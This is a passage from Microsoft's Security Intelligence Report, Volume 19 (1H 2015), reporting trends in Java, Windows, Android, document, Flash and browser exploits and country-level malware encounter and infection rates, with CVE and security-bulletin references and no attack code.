CVE-2010-0840 is a JRE vulnerability that was first disclosed in March 2010 and addressed by Oracle with a security update the same month.
The vulnerability was previously exploited by some versions of the Blackhole exploit kit (detected as JS/Blacole), which has been inactive in recent years.
CVE-2012-0507 allows an unsigned Java applet to gain elevated permissions and potentially have unrestricted access to a host system outside its sandbox environment.
The vulnerability is a logic error that allows attackers to run code with the privileges of the current user, which means that an attacker can use it to perform reliable exploitation on other platforms that support the JRE, including Apple Mac OS X, Linux, VMWare, and others.
Oracle released a security update in February 2012 to address the issue.
CVE-2013-0422 first appeared in January 2013 as a zero-day vulnerability.
CVE-2013-0422 is a package access check vulnerability that allows an untrusted Java applet to access code in a trusted class, which then loads the attackers own class with elevated privileges.
Oracle published a security update to address the vulnerability on January 13, 2013.
For more information about CVE-2013-0422, see the entry A technical analysis of a new Java vulnerability (CVE-2013-0422) (January 20, 2013) in the MMPC blog at blogs.technet.com/mmpc.
Internet Explorer has begun block- ing out-of-date ActiveX controls, including controls that host older versions of the JRE in the browser.
http://www.oracle.com/technetwork/topics/security/javacpujun2012-1515912.html http://blogs.technet.com/b/mmpc/archive/2012/08/01/the-rise-of-a-new-java-vulnerability-cve-2012-1723.aspx http://www.microsoft.com/security/portal/threat/encyclopedia/search.aspx?queryJava/Obfuscator http://cve.mitre.org/cgi-bin/cvename.cgi?nameCVE-2010-0840 http://www.oracle.com/technetwork/topics/security/javacpumar2010-083341.html http://www.microsoft.com/security/portal/threat/encyclopedia/search.aspx?queryJS/Blacole http://cve.mitre.org/cgi-bin/cvename.cgi?nameCVE-2012-0507 http://www.oracle.com/technetwork/topics/security/javacpufeb2012-366318.html http://cve.mitre.org/cgi-bin/cvename.cgi?nameCVE-2013-0422 http://www.oracle.com/technetwork/topics/security/alert-cve-2013-0422-1896849.html http://www.oracle.com/technetwork/topics/security/alert-cve-2013-0422-1896849.html http://blogs.technet.com/b/mmpc/archive/2013/01/20/a-technical-analysis-of-a-new-java-vulnerability-cve-2013-0422.aspx http://blogs.technet.com/b/mmpc/archive/2013/01/20/a-technical-analysis-of-a-new-java-vulnerability-cve-2013-0422.aspx 50 EXPLOITS Operating system exploits Although most operating system exploits detected by Microsoft security products are designed to affect the platforms on which the security products run, malicious or infected files that affect other operating systems are sometimes downloaded.
Figure 34 shows trends for the individual exploits most commonly detected and blocked or removed during each of the past four quarters.
Figure 34.
Individual operating system exploits detected and blocked by Microsoft real-time antimalware products, 3Q142Q15 Win32/CplLnk, an exploit that targets a vulnerability in Windows Shell, remained the most commonly encountered operating system exploit in 1H15.
An attacker exploits the vulnerability (CVE-2010-2568) by creating a malformed shortcut file that forces a vulnerable computer to load a malicious file when the shortcut icon is displayed in Windows Explorer.
Microsoft released Security Bulletin MS10-046 in August 2010 to address this issue.
CVE-2014-6332 is a vulnerability in Windows Object Linking and Embedding (OLE) that can be used to perform remote attacks on a computer through Internet Explorer in some circumstances.
Microsoft released Security Bulletin MS14-064 in November 2014 to address this issue.
See The life and times of an exploit on pages 310 of Microsoft Security Intelligence Report, Volume 18 (JulyDecember 2014), available from the Microsoft Download Center, for 0.00 0.05 0.10 0.15 0.20 0.25 0.30 0.35 0.40 3Q14 4Q14 1Q15 2Q15 E n co u n te r ra te ( p e rc e n t o f a ll re p o rt in g c o m p u te rs ) Win32/CplLnk CVE-2014-6332 Unix/Lotoor CVE-2011-1823 (GingerBreak) CVE-2011-3874 http://www.microsoft.com/security/portal/threat/encyclopedia/search.aspx?queryWin32/CplLnk http://cve.mitre.org/cgi-bin/cvename.cgi?nameCVE-2010-2568 http://technet.microsoft.com/security/bulletin/MS10-046 http://www.cve.mitre.org/cgi-bin/cvename.cgi?nameCVE-2014-6332 http://technet.microsoft.com/security/bulletin/MS14-064 http://www.microsoft.com/download/details.aspx?id46928 http://www.microsoft.com/download/details.aspx?id46928 MICROSOFT SECURITY INTELLIGENCE REPORT, VOLUME 19, JANUARYJUNE 2015   51 more information about this vulnerability and what Microsoft has done to mitigate it.
Three of the five most commonly encountered operating system exploits on Windows computers in 1H15 actually target the Android mobile operating system published by Google and the Open Handset Alliance.
Microsoft security products detect these threats when Android devices or storage cards are connected to computers running Windows, or when Android users knowingly or unknowingly download infected or malicious programs to their computers before transferring the software to their devices.
Most detections that affect Android involve exploits that enable an attacker or other user to obtain root privileges on vulnerable Android devices.
Device owners sometimes use such exploits intentionally to gain access to additional functionality (a practice often called rooting or jailbreaking), but these exploits can also be used by attackers to infect devices with malware that bypasses many typical security systems.
Unix/Lotoor is an exploit family that exploits vulnerabilities in the Android operating system to gain root privileges on a mobile device.
Google published a source code update in March 2011 that addressed the vulnerability.
CVE-2011-1823 is sometimes called the GingerBreak vulnerability because of its use by a popular rooting application of that name.
It is also used by AndroidOS/GingerMaster, a malicious program that can allow a remote attacker to gain access to the mobile device.
GingerMaster might be bundled with clean applications, and includes an exploit for the CVE- 2011-1823 vulnerability disguised as an image file.
Google published a source code update in May 2011 that addressed the vulnerability.
CVE-2011-3874 can also be used to gain root privileges on devices running some versions of Android.
Google published a source code update in November 2011 that addressed the vulnerability.
Three of the five most commonly encountered oper- ating system ex- ploits on Windows computers in 1H15 actually target the Android mobile operating system.
http://www.microsoft.com/security/portal/threat/encyclopedia/search.aspx?queryUnix/Lotoor http://cve.mitre.org/cgi-bin/cvename.cgi?nameCVE-2011-1823 http://www.microsoft.com/security/portal/threat/encyclopedia/search.aspx?queryAndroidOS/GingerMaster http://cve.mitre.org/cgi-bin/cvename.cgi?nameCVE-2011-3874 52 EXPLOITS Document exploits Document exploits are exploits that target vulnerabilities in the way a document editing or viewing application processes a particular file format.
Figure 35 shows encounter rates for individual exploits.
Figure 35.
Individual document exploits detected and blocked by Microsoft real-time antimalware products, 3Q142Q15 Most detections of exploits that affect Adobe Reader and Adobe Acrobat were associated with the exploit family Win32/Pdfjsc, a detection for PDF files containing malicious JavaScript that targets CVE-2010-0188 and other vulnerabilities.
Adobe released Security Bulletin APSB10-07 in February 2010 to address CVE-2010-0188.
Pdfjsc and related exploits were particularly prevalent in eastern Europe.
Pdfjsc mostly targets older Java vulnerabilities, so attackers may find it less useful as more computers are updated to newer versions of Java, which could explain the decrease in encounters over the past several quarters.
Adobe Flash Player exploits Figure 36 shows the prevalence of different Adobe Flash Player exploits by quarter.
0.00 0.01 0.02 0.03 0.04 0.05 0.06 0.07 3Q14 4Q14 1Q15 2Q15 E n co u n te r ra te ( p e rc e n t o f a ll re p o rt in g c o m p u te rs ) Win32/Pdfjsc CVE-2012-0158 Win32/Wordjmp CVE-2010-3336 Win32/Wordinvop http://www.microsoft.com/security/portal/threat/encyclopedia/search.aspx?queryWin32/Pdfjsc http://www.cve.mitre.org/cgi-bin/cvename.cgi?nameCVE-2010-0188 http://www.adobe.com/support/security/bulletins/apsb10-07.html MICROSOFT SECURITY INTELLIGENCE REPORT, VOLUME 19, JANUARYJUNE 2015   53 Figure 36.
Adobe Flash Player exploits detected and blocked by Microsoft real-time antimalware products, 3Q142Q15 Encounters involving Obfuscator variants that target Adobe Flash Player increased from very low levels in 1Q15 to become the largest source of Flash Player-related exploit encounters in 2Q15.
Most of these encounters involved two newly discovered threats: Exploit:SWF/Obfuscator.
K targets CVE-2014-8439, CVE-2015-0311, CVE-2015-0313, and CVE-2015-0359 Exploit:SWF/Obfuscator.
L mainly targets CVE-2015-0336.
CVE-2014-0515, the most commonly exploited Adobe Flash Player vulnerability in 1Q15 and the second most common in 1H15 overall, is a buffer overflow vulnerability.
Adobe released Security Bulletin APSB14-13 on April 28, 2014 to address the issue.
CVE-2015-0359, a double free vulnerability, was first disclosed in April 2015 and became the second most commonly encountered Adobe Flash Player exploit in the second quarter.
Adobe released Security Bulletin APSB15-06 on April 14 to address the issue.
CVE-2014-0497 is an integer underflow vulnerability.
Adobe released Security Bulletin APSB14-04 on February 4, 2014 to address the issue.
Browser exploits Figure 37 shows the prevalence of different browser exploits by quarter.
0.000 0.005 0.010 0.015 0.020 0.025 0.030 0.035 3Q14 4Q14 1Q15 2Q15 E n co u n te r ra te ( p e rc e n t o f a ll re p o rt in g c o m p u te rs ) Obfuscator CVE-2014-0515 CVE-2014-0497 CVE-2015-0359 CVE-2015-0311 http://www.microsoft.com/security/portal/threat/encyclopedia/Entry.aspx?NameExploit:SWF/Obfuscator.K http://cve.mitre.org/cgi-bin/cvename.cgi?nameCVE-2014-8439 http://cve.mitre.org/cgi-bin/cvename.cgi?nameCVE-2015-0311 http://cve.mitre.org/cgi-bin/cvename.cgi?nameCVE-2015-0313 http://cve.mitre.org/cgi-bin/cvename.cgi?nameCVE-2015-0359 http://www.microsoft.com/security/portal/threat/encyclopedia/Entry.aspx?NameExploit:SWF/Obfuscator.L http://cve.mitre.org/cgi-bin/cvename.cgi?nameCVE-2015-0336 http://cve.mitre.org/cgi-bin/cvename.cgi?nameCVE-2014-0515 http://helpx.adobe.com/security/products/flash-player/apsb14-13.html http://cve.mitre.org/cgi-bin/cvename.cgi?nameCVE-2015-0359 https://helpx.adobe.com/security/products/flash-player/apsb15-06.html http://cve.mitre.org/cgi-bin/cvename.cgi?nameCVE-2014-0497 http://www.adobe.com/support/security/bulletins/apsb10-14.html 54 EXPLOITS Figure 37.
Browser exploits detected and blocked by Microsoft real-time antimalware products, 3Q142Q15 Exploits targeting CVE-2013-7331, a vulnerability affecting the Microsoft.
XMLDOM ActiveX control in Internet Explorer, accounted for the largest share of browser-related exploits encountered in 1H15.
Exploiting this vulnerability allows an attacker to confirm the existence or nonexistence of arbitrarily specified paths and hostnames in the local environment.
Microsoft published Security Bulletin MS14-052 in September 2014 to address the issue.
Exploits targeting vulnerabilities addressed by Security Bulletin MS09-002, published by Microsoft in February 2009, accounted for the second largest share of browser-related exploits encountered in 1H15.
Of these, most targeted CVE-2009-0075, an uninitialized memory corruption vulnerability in Internet Explorer 7.
Encounters involving exploits targeting CVE-2013-2551, a use-after-free vulnerability in versions 6 through 10 of Internet Explorer, accounted for the largest share of browser-related exploit encounters in 2H14, then fell to negligible levels in 1H15 as exploit kit authors dropped them in favor of exploits targeting CVE-2013-7331.
0.000 0.005 0.010 0.015 0.020 0.025 3Q14 4Q14 1Q15 2Q15 E n co u n te r ra te ( p e rc e n t o f a ll re p o rt in g c o m p u te rs ) MS09-002 CVE-2013-7331 (MS14-052) CVE-2014-0322 (MS14-012) CVE-2012-1889 (MS12-043) CVE-2013-2551 (MS13-037) http://www.cve.mitre.org/cgi-bin/cvename.cgi?nameCVE-2013-7331 https://technet.microsoft.com/library/security/ms14-052 https://technet.microsoft.com/library/security/ms09-002 http://www.cve.mitre.org/cgi-bin/cvename.cgi?nameCVE-2009-0075 http://www.cve.mitre.org/cgi-bin/cvename.cgi?nameCVE-2013-2551 MICROSOFT SECURITY INTELLIGENCE REPORT, VOLUME 19, JANUARYJUNE 2015   55 Exploit detection with Internet Explorer and IExtensionValidation IExtensionValidation is an interface introduced in Internet Explorer 11 that real- time security software can implement to block ActiveX controls from loading on malicious pages.
When Internet Explorer loads a webpage that includes ActiveX controls, if the security software has implemented IExtensionValidation, the browser calls the security software to scan the HTML and script content on the page before loading the controls themselves.
If the security software determines that the page is malicious (for example, if it identifies the page as an exploit kit landing page), it can direct Internet Explorer to prevent individual controls or the entire page from loading.
Figure 38.
Internet Explorer 11 can block pages that contain ActiveX controls if security software determines that the page is malicious Figure 39 shows the types of ActiveX controls identified on malicious webpages in Internet Explorer 11 for each quarter in 2014.
56 EXPLOITS Figure 39.
ActiveX controls detected on malicious webpages through IExtensionValidation, 3Q142Q15, by control type Adobe Flash Player objects were the most commonly detected type of object hosted on malicious pages in each of the past four quarters.
After accounting for a high of 45.3 percent of object detections in 3Q14, detections of Java applets on malicious pages decreased to just 0.5 percent of detections by 2Q15.
A number of changes that have been made to Java and Internet Explorer over the past two years have made it much more difficult for attackers to take advantage of Java-based vulnerabilities, which is the most likely explanation for this significant decrease.
(
See Java exploits on page 47 for more information.)
Silverlight, Adobe Reader, and other malicious objects each accounted for less than 3 percent of object detections each quarter.
Exploits used in targeted attacks A targeted attack is an attack against the computers or networks of a specific group of companies or individuals.
This type of attack usually attempts to gain access to the computer or network before trying to steal information or disrupt the infected computers.
Figure 40 lists some of the exploits Microsoft has observed being used in targeted attacks in 1H15.
0 10 20 30 40 50 60 70 80 90 100 3Q14 4Q14 1Q15 2Q15 P e rc e n t o f IE xt e n si o n V a lid a ti o n d e te ct io n s Adobe Flash Java Silverlight Adobe Reader Other Adobe Flash objects were the most commonly detected type of object hosted on malicious pages.
MICROSOFT SECURITY INTELLIGENCE REPORT, VOLUME 19, JANUARYJUNE 2015   57 Figure 40.
Some of the exploits used in targeted attacks in 1H15 CVE Exploit type Affecting Security update CVE-2015-0097 Word HTA Microsoft Word MS15-022 CVE-2015-1641 Word RTF Microsoft Word MS15-033 CVE-2015-1701 Win32k EoP Microsoft Windows MS15-051 CVE-2015-1769 USB vector Microsoft Windows MS15-085 CVE-2015-1770 Word OSF Microsoft Word MS15-059 CVE-2015-2360 Win32k EoP Microsoft Windows MS15-061 CVE-2015-3043 Flash codec Adobe Flash Player APSB15-06 See the entry Targeted Attacks Video Series (June 13, 2013) on the Microsoft Cyber Trust blog at blogs.microsoft.com/cybertrust for an informative series of videos and papers about targeted attacks, the techniques used by attackers, and some of the steps that organizations can take to secure their networks against targeted attacks.
http://www.cve.mitre.org/cgi-bin/cvename.cgi?nameCVE-2015-0097 https://technet.microsoft.com/library/security/ms15-022 http://www.cve.mitre.org/cgi-bin/cvename.cgi?nameCVE-2015-1641 https://technet.microsoft.com/library/security/ms15-033 http://www.cve.mitre.org/cgi-bin/cvename.cgi?nameCVE-2015-1701 https://technet.microsoft.com/library/security/ms15-051 https://www.microsoft.com/security/portal/threat/encyclopedia/search.aspx?nameCVE-2015-1769 https://technet.microsoft.com/library/security/ms15-085 http://www.cve.mitre.org/cgi-bin/cvename.cgi?nameCVE-2015-1770 https://technet.microsoft.com/library/security/ms15-059 http://www.cve.mitre.org/cgi-bin/cvename.cgi?nameCVE-2015-2360 https://technet.microsoft.com/library/security/ms15-061 http://www.cve.mitre.org/cgi-bin/cvename.cgi?nameCVE-2015-3043 https://helpx.adobe.com/security/products/flash-player/apsb15-06.html http://blogs.microsoft.com/cybertrust/2013/06/13/targeted-attacks-video-series/ 58 MALWARE AND UNWANTED SOFTWARE Malware and unwanted software Most attempts by malware to infect computers are unsuccessful.
More than three-quarters of Internet-connected personal computers worldwide are protected by real-time security software that constantly monitors the computers and network traffic for threats and blocks them before they can infect the computers, if possible.
Therefore, a comprehensive understanding of the malware landscape requires consideration of infection attempts that are blocked as well as infections that are removed.
Microsoft uses two different metrics to measure malware and unwanted software prevalence:16 Encounter rate is simply the percentage of computers running Microsoft real-time security products that report a malware encounter.17 For example, the encounter rate for the malware family JS/Bondat in Mexico in 2Q15 was 4.2 percent.
This data means that, of the computers in Mexico that were running Microsoft real-time security software in 2Q15, 4.2 percent reported encountering the Bondat family, and 95.8 percent did not.
Encountering a threat does not mean the computer has been infected.
Only computers whose users have opted in to provide data to Microsoft are considered when calculating encounter rates.18 16 Microsoft regularly reviews and refines its data collection methodology to improve its scope and accuracy.
For this reason, the statistics presented in this volume of the Microsoft Security Intelligence Report may differ slightly from comparable statistics in previous volumes.
17 Encounter rate does not include threats that are blocked by a web browser before being detected by antimalware software.
In particular, IExtensionValidation in Internet Explorer 11 enables security software to block pages that contain exploits from loading.
(
See Exploit detection with Internet Explorer and IExtensionValidation on page 55 for information about IExtensionValidation and the threats it blocks.)
For this reason, encounter rate figures may not fully reflect all of the threats encountered by computer users.
18 For information about the products and services that provide data for this report, see Appendix B: Data sources on page 129.
http://www.microsoft.com/security/portal/threat/encyclopedia/search.aspx?queryJS/Bondat MICROSOFT SECURITY INTELLIGENCE REPORT, VOLUME 19, JANUARYJUNE 2015   59 Computers cleaned per mille, or CCM, is an infection rate metric that is defined as the number of computers cleaned for every 1,000 unique computers that run the Malicious Software Removal Tool (MSRT), a free tool distributed through Microsoft update services that removes more than 200 highly prevalent or serious threats from computers.
Because it is not a real- time tool, the MSRT only detects and removes threats that are already present on the computer it does not block infection attempts as they happen.
Figure 41 illustrates the difference between these two metrics.
Figure 41.
Worldwide encounter and infection rates, 2Q142Q15, by quarter Figures do not include Brantall, Rotbrow, and Filcout.
See Brantall, Rotbrow, and Filcout on page 60 for more information.
As Figure 41 shows, and as one would expect, malware encounters are much more common than malware infections.
On average, about 17.0 percent of reporting computers worldwide encountered malware over the past four quarters.
At the same time, the MSRT removed malware from about 7.1 out of every 1,000 computers, or 0.71 percent.
Together, encounter and infection rate information can help provide a broader picture of the malware landscape by offering different perspectives on how malware propagates and how computers get infected.
0 50 100 150 200 250 0 5 10 15 20 25 3Q14 4Q14 1Q15 2Q15 C o m p u te rs c le a n e d p e r 1, 0 0 0 s ca n n e d ( C C M ) E n co u n te r ra te ( p e rc e n t o f a ll re p o rt in g c o m p u te rs ) Encounter rate Infection rate 60 MALWARE AND UNWANTED SOFTWARE Brantall, Rotbrow, and Filcout Where noted, the figures in this report omit detections of Win32/Brantall, Win32/Rotbrow, and Win32/Filcout.
These three families were involved in an incident in which a rogue developer with access to commercial source code modified the source code to serve as a stealth distribution method for malware without being detected by major security software vendors.
When the modification was discovered, it resulted in a significant installed base of commercial software being reclassified as malicious, which had an outsized effect on infection rates.
Microsoft believes that the unmodified infection and encounter figures do not create an accurate picture of the worldwide threat landscape over the past year and a half.
As a result, totals for the Brantall, Filcout, and Rotbrow families have been removed from the infection and encounter figures presented here where appropriate, as noted.
See The Sefnit saga: a timeline on pages 5764 of Microsoft Security Intelligence Report, Volume 17 (JanuaryJune 2014), available from the Microsoft Download Center, for a more in-depth explanation of the incident, along with detection statistics and a timeline of events.
Malware and unwanted software worldwide The telemetry data generated by Microsoft security products from computers whose administrators or users choose to opt in to provide data to Microsoft includes information about the location of the computer, as determined by IP geolocation.
This data makes it possible to compare infection and encounter rates, patterns, and trends in different locations around the world.19 19 For more information about this process, see the entry Determining the Geolocation of Systems Infected with Malware (November 15, 2011) in the Microsoft Cyber Trust Blog (blogs.microsoft.com/cybertrust).
http://www.microsoft.com/security/portal/threat/encyclopedia/search.aspx?queryWin32/Brantall http://www.microsoft.com/security/portal/threat/encyclopedia/search.aspx?queryWin32/Rotbrow http://www.microsoft.com/security/portal/threat/encyclopedia/search.aspx?queryWin32/Filcout http://www.microsoft.com/download/details.aspx?id44937 http://www.microsoft.com/download/details.aspx?id44937 http://blogs.microsoft.com/cybertrust/2011/11/15/determining-the-geolocation-of-systems-infected-with-malware/ http://blogs.microsoft.com/cybertrust/2011/11/15/determining-the-geolocation-of-systems-infected-with-malware/ MICROSOFT SECURITY INTELLIGENCE REPORT, VOLUME 19, JANUARYJUNE 2015   61 Figure 42.
Encounter rate trends for the locations with the most computers reporting malware and unwanted software encounters in 1H15, by number of computers reporting Country/Region 3Q14 4Q14 1Q15 2Q15 United States 15.4 11.6 11.0 9.8 Brazil 32.9 21.7 20.5 20.2 Russia 27.3 24.1 22.8 17.7 India 38.2 32.0 34.9 31.3 France 22.8 13.0 15.8 13.2 Turkey 35.1 27.9 32.0 28.1 China 18.1 15.2 13.1 13.7 United Kingdom 17.2 11.4 12.7 11.7 Mexico 30.0 21.7 22.6 21.2 Canada 18.1 12.5 14.0 12.5 Figures do not include Brantall, Rotbrow, and Filcout.
See Brantall, Rotbrow, and Filcout on page 60 for more information.
Locations in Figure 42 are ordered by the number of computers reporting detections in 1H15.
As Figure 41 on page 59 illustrates, the worldwide encounter rate increased slightly in 1Q15 before decreasing again in 2Q15, and this pattern is reflected in several of the locations in Figure 42 as well.
India, France, Turkey, the United Kingdom, Mexico, and Canada all had small encounter rate increases in the first quarter of 2015, followed by decreases to around the same level as 2Q14.
In general, however, encounter rates remained largely stable through the first half of 2015 in all of these locations, without any unusually large increases or decreases.
The browser modifiers Win32/KipodToolsCby and Win32/CouponRuc and the adware family Win32/SaverExtension, the three most commonly encountered families worldwide in 1H15, were also the three most commonly encountered families in the United States, France, Turkey, the United Kingdom, Mexico, and Canada, and were all in the top six families encountered in Russia and India.
See Threat families beginning on page 74 for more information about these and other malware and unwanted software families.
Encounters in the United States in 1H15 were dominated by unwanted software, which accounted for nine of the ten most commonly encountered families.
Of these, six were browser modifiers, including CouponRuc and https://www.microsoft.com/security/portal/threat/encyclopedia/search.aspx?queryWin32/KipodToolsCby https://www.microsoft.com/security/portal/threat/encyclopedia/search.aspx?queryWin32/CouponRuc https://www.microsoft.com/security/portal/threat/encyclopedia/search.aspx?queryWin32/SaverExtension 62 MALWARE AND UNWANTED SOFTWARE KipodToolsCby, the first and third most commonly detected threat families in the US, respectively.
The browser modifiers KipodToolsCby, CouponRuc, and Win32/IeEnablerCby were the most commonly detected families in Brazil in 1H15.
Families that ranked unusually high in Brazil included Win32/Banload (ranked fourth in Brazil, 54th worldwide), which is usually used to steal login credentials for Brazilian banks, and the worm family JS/Proslikefan (14th in Brazil, 101st worldwide).
(
See Win32/Banload and Banking Malware on page 21 for more information about Banload in Brazil.)
Encounters in Russia were led by Win32/Peals, a family of trojans, and the downloader family Win32/Ogimant, which has a Russian-language interface and masquerades as a downloader for peer-to-peer and torrent services.
Detections of Ogimant in Russia decreased from 3.6 percent in 1Q15 to 0.75 percent in 2Q15, but it remained the second most commonly detected family in Russia in 1H15, overall, behind Peals.
Other families that were unusually common in Russia in 1H15 included the trojan family Win32/Radonskra (ranked ninth in Russia, 84th worldwide) and the generic trojan detection Win32/Peaac (10th in Russia, 48th worldwide).
The mix of threats encountered in India and Turkey were largely similar to the worldwide mix, but each location also reported significant encounters with a threat that appeared to be strongly targeted at a specific region.
The worm family MSIL/Mofin (ranked 12th in India, 115th worldwide) was unusually common in India, where more than 85 percent of all Mofin encounters occurred in 1H15.
And the trojan family Win32/BeeVry (11th in Turkey, 134th worldwide) was unusually common in Turkey, where more than 98 percent of all BeeVry encounters occurred in 1H15.
As is typically the case, the threat landscape in China in 1H15 was dominated by malware families that are much less common worldwide.
Of the threats most commonly encountered in China, only the generic detections Win32/Obfuscator, INF/Autorun, and Win32/Dynamer and the trojan family Win32/Ramnit were also commonly encountered worldwide.
All of the most commonly encountered families in China in 1H15 were malware families.
The most commonly detected unwanted software family in China (KipodToolsCby) ranked 48th there overall.
Families that were unusually As is typically the case, the threat landscape in China was dominated by malware families that are much less common worldwide.
https://www.microsoft.com/security/portal/threat/encyclopedia/search.aspx?queryWin32/IeEnablerCby https://www.microsoft.com/security/portal/threat/encyclopedia/search.aspx?queryWin32/Banload https://www.microsoft.com/security/portal/threat/encyclopedia/search.aspx?queryJS/Proslikefan https://www.microsoft.com/security/portal/threat/encyclopedia/search.aspx?queryWin32/Peals https://www.microsoft.com/security/portal/threat/encyclopedia/search.aspx?queryWin32/Ogimant https://www.microsoft.com/security/portal/threat/encyclopedia/search.aspx?queryWin32/Radonskra https://www.microsoft.com/security/portal/threat/encyclopedia/search.aspx?queryWin32/Peaac https://www.microsoft.com/security/portal/threat/encyclopedia/search.aspx?queryMSIL/Mofin https://www.microsoft.com/security/portal/threat/encyclopedia/search.aspx?queryWin32/BeeVry https://www.microsoft.com/security/portal/threat/encyclopedia/search.aspx?queryWin32/Obfuscator https://www.microsoft.com/security/portal/threat/encyclopedia/search.aspx?queryINF/Autorun https://www.microsoft.com/security/portal/threat/encyclopedia/search.aspx?queryWin32/Dynamer https://www.microsoft.com/security/portal/threat/encyclopedia/search.aspx?queryWin32/Ramnit MICROSOFT SECURITY INTELLIGENCE REPORT, VOLUME 19, JANUARYJUNE 2015   63 prevalent in China included the virus DOS/JackTheRipper (ranked second in China, 119th worldwide), the downloader HTML/Adodb (fifth in China, 108th worldwide), and the worm ALisp/Kenilfe (seventh in China, 125th worldwide).
The downloader family W97M/Adnel was unusually prevalent in the United Kingdom (ranked 12th in the UK, 98th worldwide).
The rogue security software family JS/FakeCall was unusually prevalent in Canada (ranked 11th in Canada, 96th worldwide).
For a different perspective on threat patterns worldwide, Figure 43 shows the infection and encounter rates in locations around the world in 2Q15.
Figure 43.
Encounter rates (top) and infection rates (bottom) by country/region in 2Q15 Figures do not include Brantall, Rotbrow, and Filcout.
See Brantall, Rotbrow, and Filcout on page 60 for more information.
https://www.microsoft.com/security/portal/threat/encyclopedia/search.aspx?queryDOS/JackTheRipper https://www.microsoft.com/security/portal/threat/encyclopedia/search.aspx?queryHTML/Adodb https://www.microsoft.com/security/portal/threat/encyclopedia/search.aspx?queryALisp/Kenilfe https://www.microsoft.com/security/portal/threat/encyclopedia/search.aspx?queryW97M/Adnel https://www.microsoft.com/security/portal/threat/encyclopedia/search.aspx?queryJS/FakeCall 64 MALWARE AND UNWANTED SOFTWARE The next several figures illustrate trends for specific locations around the world with particularly high or low incidences of threat detection.
Figure 44 and Figure 45 show trends for the locations with the highest rates of detection as determined by encounter rate and CCM, respectively.
Figure 44.
Trends for the five locations with the highest encounter rates in 1H15 (100,000 reporting computers minimum) Figures do not include Brantall, Rotbrow, and Filcout.
See Brantall, Rotbrow, and Filcout on page 60 for more information.
Figure 45.
Trends for the five locations with the highest infection rates in 1H15, by CCM (100,000 MSRT computers minimum) Figures do not include Brantall, Rotbrow, and Filcout.
See Brantall, Rotbrow, and Filcout on page 60 for more information.
0 10 20 30 40 50 60 3Q14 4Q14 1Q15 2Q15 E n co u n te r ra te ( p e rc e n t o f a ll re p o rt in g c o m p u te rs ) Indonesia Pakistan Nepal Bangladesh Algeria Worldwide 0 10 20 30 40 50 60 70 80 90 100 3Q14 4Q14 1Q15 2Q15 C o m p u te rs c le a n e d p e r 1, 0 0 0 s ca n n e d ( C C M ) Iraq Palestinian Authority Morocco Pakistan Libya Worldwide MICROSOFT SECURITY INTELLIGENCE REPORT, VOLUME 19, JANUARYJUNE 2015   65 The locations with the highest encounter rates were Pakistan, Indonesia, Algeria, Bangladesh, and Nepal.
Pakistan, Indonesia, and Algeria also had the highest encounter rates in 2H14.
As in 2H14, exploit kits were relatively rare in the locations with the highest encounter rates.
JS/Axpergle, the most commonly encountered exploit kit worldwide in 1H15, ranked no higher than 34th in any of the locations with the highest encounter rates.
Unwanted software was highly prevalent in these locations, as it was worldwide in 1H15.
The browser modifiers Win32/KipodToolsCby and Win32/CouponRuc and the adware family Win32/SaverExtension, the three most commonly encountered families worldwide in 1H15, were all among the top nine families encountered in all of the locations with the highest encounter rates.
Families that were unusually prevalent in Pakistan included Win32/Nuqel (ranked 11th in Pakistan, 34th worldwide), a worm, and the virus family Win32/Chir (13th in Pakistan, 69th worldwide).
In both cases, the encounter rate for the family in Pakistan was more than twice as high as in any other country or region.
Families that were unusually prevalent in Indonesia included the exploit Win32/CplLnk (ranked fifth in Indonesia, 20th worldwide) and the virus family Win32/Slugin (ranked 13th in Indonesia, 92nd worldwide).
Win32/Macoute, a worm, was unusually prevalent in Algeria (ranked 17th in Algeria, 148th worldwide).
Most Macoute encounters worldwide took place in Algeria and several other locations in Africa, including Senegal, Ghana, and Tunisia.
The worm family Win32/Vercuser was unusually prevalent in Bangladesh (ranked 14th in Bangladesh, 102nd worldwide) and a number of nearby locations, including Nepal, Pakistan, and India.
The locations with the highest infection rates were Iraq, Libya, the Palestinian territories, Morocco, and Pakistan.
As in 2H14, exploit kits were relatively rare in the locations with the highest encounter rates.
https://www.microsoft.com/security/portal/threat/encyclopedia/search.aspx?queryJS/Axpergle https://www.microsoft.com/security/portal/threat/encyclopedia/search.aspx?queryWin32/KipodToolsCby https://www.microsoft.com/security/portal/threat/encyclopedia/search.aspx?queryWin32/CouponRuc https://www.microsoft.com/security/portal/threat/encyclopedia/search.aspx?queryWin32/SaverExtension https://www.microsoft.com/security/portal/threat/encyclopedia/search.aspx?queryWin32/Nuqel https://www.microsoft.com/security/portal/threat/encyclopedia/search.aspx?queryWin32/Chir https://www.microsoft.com/security/portal/threat/encyclopedia/search.aspx?queryWin32/Copali https://www.microsoft.com/security/portal/threat/encyclopedia/search.aspx?queryWin32/Slugin https://www.microsoft.com/security/portal/threat/encyclopedia/search.aspx?queryWin32/Macoute https://www.microsoft.com/security/portal/threat/encyclopedia/search.aspx?queryWin32/Vercuser 66 MALWARE AND UNWANTED SOFTWARE The worm family VBS/Jenxcus was the most common malware family infecting computers in 1H15 in all of these locations except Morocco, where it was second.
Infection rates for Jenxcus were particularly high across the Middle East, and low in North America and Europe.
Infections involving the backdoor family MSIL/Bladabindi, which ranked 26th among infecting families worldwide, were particularly common in Iraq (where it ranked fourth), Libya (third), the Palestinian territories (11th), and Morocco (seventh).
Like Jenxcus, Bladabindi had its greatest impact in the Middle East.
In Morocco, the most common infecting malware family was the worm family Win32/Yeltminky, which had its highest infection rate there (a CCM of 23.8 in Morocco in 2Q15, compared to 3.3 in Algeria, the next highest location).
Yeltminky is a family of worms that spreads by making copies of itself on all available drives and creating an autorun.inf file to execute the copies.
Figure 46.
Trends for locations with low encounter rates in 1H15 (100,000 reporting computers minimum) Figures do not include Brantall, Rotbrow, and Filcout.
See Brantall, Rotbrow, and Filcout on page 60 for more information.
0 5 10 15 20 25 3Q14 4Q14 1Q15 2Q15 E n co u n te r ra te ( p e rc e n t o f a ll re p o rt in g c o m p u te rs ) Worldwide Denmark Norway Japan Finland Sweden https://www.microsoft.com/security/portal/threat/encyclopedia/search.aspx?queryVBS/Jenxcus https://www.microsoft.com/security/portal/threat/encyclopedia/search.aspx?queryMSIL/Bladabindi https://www.microsoft.com/security/portal/threat/encyclopedia/search.aspx?queryWin32/Yeltminky MICROSOFT SECURITY INTELLIGENCE REPORT, VOLUME 19, JANUARYJUNE 2015   67 Figure 47.
Trends for locations with low infection rates in 1H15, by CCM (100,000 reporting computers minimum) Figures do not include Brantall, Rotbrow, and Filcout.
